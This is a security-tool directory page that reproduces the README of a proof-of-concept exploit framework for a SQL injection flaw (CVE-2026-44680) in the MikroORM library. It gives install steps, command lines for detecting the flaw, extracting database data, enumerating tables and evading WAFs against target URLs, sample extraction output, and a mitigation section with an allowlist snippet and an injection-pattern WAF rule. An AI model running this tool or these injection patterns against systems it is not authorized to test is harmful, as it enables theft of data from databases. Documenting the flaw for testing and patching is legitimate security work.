Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework — PoC tool for CVE-2026-44680 affecting MikroORM ≤7.0.13. Exploits JSON path injection to extract database contents via UNION-based attacks. Features vulnerability detection, automated data extraction, table enumeration, and blind injection support. Includes proxy integration for Burp Suite and WAF evasion techniques. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cve-2026-44680-mikroorm-sql-injection-exploit-framework
Penetration Testing FrameworksVulnerability ScannersCode AnalysisExploitationWeb SecurityDatabase Security
GitHubcerberusmrxi/cve-2026-44680-mikroorm-sql-injection-exploit-framework

CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework

View Repository
1201 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →

About

PoC tool for CVE-2026-44680 affecting MikroORM ≤7.0.13. Exploits JSON path injection to extract database contents via UNION-based attacks. Features vulnerability detection, automated data extraction, table enumeration, and blind injection support. Includes proxy integration for Burp Suite and WAF evasion techniques.

Share

CVE-2026-44680 - MikroORM SQL Injection Exploit Framework

Python Version License Status CVSS

Professional Proof-of-Concept Tool for Security Researchers


🔍 Overview

CVE-2026-44680 is a critical SQL injection vulnerability affecting MikroORM, a popular TypeScript ORM for Node.js. This exploit framework provides security researchers and penetration testers with a professional tool to detect and exploit the vulnerability.

Author: Sudeepa Wanigarathna
Version: 1.0.0
Classification: Professional Security Research Tool


🚨 Vulnerability Details

AttributeValue
CVE IDCVE-2026-44680
CVSS Score7.6 (High)
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow

Affected Versions

  • @mikro-orm/knex <= 6.6.13
  • @mikro-orm/sql <= 7.0.13

Root Cause

MikroORM fails to properly escape runtime-controlled JSON path keys when building JSON_EXTRACT queries. Attackers can break out of the JSON path context and inject arbitrary SQL code.


✨ Features

FeatureDescriptionStatus
Vulnerability DetectionTime-based & error-based detection✅
Database ExtractionVersion, database, user, hostname✅
Table EnumerationAuto-discovery of all tables✅
UNION-Based InjectionExtract data via UNION SELECT✅
Blind InjectionBoolean-based character extraction✅
Proxy SupportBurp Suite / intercepting proxy✅
Report GenerationProfessional TXT reports✅
WAF EvasionAdvanced obfuscation techniques✅

📦 Installation

Prerequisites

root@kitploit:~
# Python 3.8 or higher
python3 --version

# pip package manager
pip --version

Installation Steps

Step 1: Clone the Repository

root@kitploit:~
git clone https://github.com/CerberusMrXi/CVE-2026-44680-MikroORM-SQL-Injection-Exploit-Framework
cd CVE-2026-44680-exploit

Step 2: Install Dependencies

root@kitploit:~
# Using requirements.txt
pip install -r requirements.txt

# Or install manually
pip install requests colorama tqdm urllib3 simplejson

Step 3: Verify Installation

root@kitploit:~
python exploit.py --help

requirements.txt

root@kitploit:~
requests>=2.31.0
colorama>=0.4.6
tqdm>=4.65.0
urllib3>=2.0.0
simplejson>=3.19.0

🚀 Quick Start

Basic Usage

root@kitploit:~
# Full exploitation
python exploit.py -u http://localhost:3000

# Vulnerability detection only
python exploit.py -u http://target.com --detect

# Extract database information
python exploit.py -u http://target.com --extract

# Enumerate tables
python exploit.py -u http://target.com --enumerate

📖 Usage Guide

Command Options

FlagDescriptionDefault
-u, --urlTarget URL (required)-
-e, --endpointAPI endpoint/api/users/search
-p, --proxyHTTP proxyNone
-v, --verboseVerbose outputFalse
--detectDetect vulnerability onlyFalse
--extractExtract database infoFalse
--enumerateEnumerate tablesFalse
--blindBlind injection modeFalse

Example Commands

1. Full Exploitation

root@kitploit:~
python exploit.py -u http://192.168.1.100:3000

2. Custom Endpoint

root@kitploit:~
python exploit.py -u http://target.com -e /api/v2/users/query

3. With Proxy (Burp Suite)

root@kitploit:~
python exploit.py -u http://target.com -p http://127.0.0.1:8080

4. Verbose Debugging

root@kitploit:~
python exploit.py -u http://target.com -v --extract

5. Blind Injection

root@kitploit:~
python exploit.py -u http://target.com --blind

6. Detection Only

root@kitploit:~
python exploit.py -u http://target.com --detect

7. Extract Database Info

root@kitploit:~
python exploit.py -u http://target.com --extract

8. Enumerate Tables

root@kitploit:~
python exploit.py -u http://target.com --enumerate

📊 Output Examples

Console Output

root@kitploit:~
============================================================
  MikroORM CVE-2026-44680 Exploitation Framework
  Author: Sudeepa Wanigarathna
============================================================

[*] Performing vulnerability detection on /api/users/search
[+] Vulnerable to time-based SQL injection

[+] Vulnerability confirmed!

[*] Extracting database information...
[*] Enumerating tables...
[+] Found table: users
[+] Found table: products
[+] Found table: orders
[+] Found table: payments
[+] Found table: admin

===== MIKROORM CVE-2026-44680 EXPLOITATION REPORT =====
Author: Sudeepa Wanigarathna (Security Researcher)
Date: 2026-07-20 14:30:45
Target: http://localhost:3000

[*] VULNERABILITY DETAILS
    - CVE: CVE-2026-44680
    - CVSS Score: 7.6 (High)
    - Affected Components: @mikro-orm/knex <= 6.6.13

[*] DATABASE INFORMATION
    - Version: 10.11.6-MariaDB
    - Database: production_db
    - User: root@localhost
    - Hostname: localhost

[*] ENUMERATED TABLES (5 found)
    1. users
    2. products
    3. orders
    4. payments
    5. admin

[+] Report saved to exploit_report_1742493645.txt
[+] Table list saved to tables_1742493645.txt

Generated Files

root@kitploit:~
exploit_report_1742493645.txt  # Complete exploitation report
tables_1742493645.txt          # List of discovered tables

🛡️ Mitigation

Immediate Actions

1. Update MikroORM

root@kitploit:~
npm install @mikro-orm/knex@latest
npm install @mikro-orm/sql@latest

2. Input Validation

root@kitploit:~
const ALLOWED_JSON_PATHS = ['$.email', '$.name', '$.metadata'];

function validateJsonPath(key) {
    if (!ALLOWED_JSON_PATHS.includes(key)) {
        throw new Error('Invalid JSON path');
    }
    return key;
}

3. WAF Rules

root@kitploit:~
# Block suspicious JSON path patterns
"filterField": "\$\.x'\) OR .* -- "

4. Database Hardening

  • Apply least privilege principle
  • Use separate database users
  • Implement query logging
  • Enable SQL injection detection

⚠️ Disclaimer

IMPORTANT: This tool is for authorized security testing and educational purposes only.

Legal Notice

  • ✅ You MUST have explicit permission before testing any system
  • ✅ You are responsible for any damage caused by misuse
  • ✅ Use ethically and report vulnerabilities responsibly

Ethical Use Guidelines

  1. Authorization: Obtain written permission from system owner
  2. Reporting: Report findings to affected vendors responsibly
  3. Confidentiality: Do not disclose vulnerabilities until patched
  4. Limitations: Stay within scope of authorized testing

📄 License

This project is licensed under the MIT License.

root@kitploit:~
MIT License

Copyright (c) 2026 Sudeepa Wanigarathna

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
...

📚 References

  • CVE-2026-44680 Details
  • MikroORM Security Advisory
  • OWASP SQL Injection Prevention

Made with ❤️ for the Security Research Community

Report Bug • Request Feature • Star on GitHub

Download Tool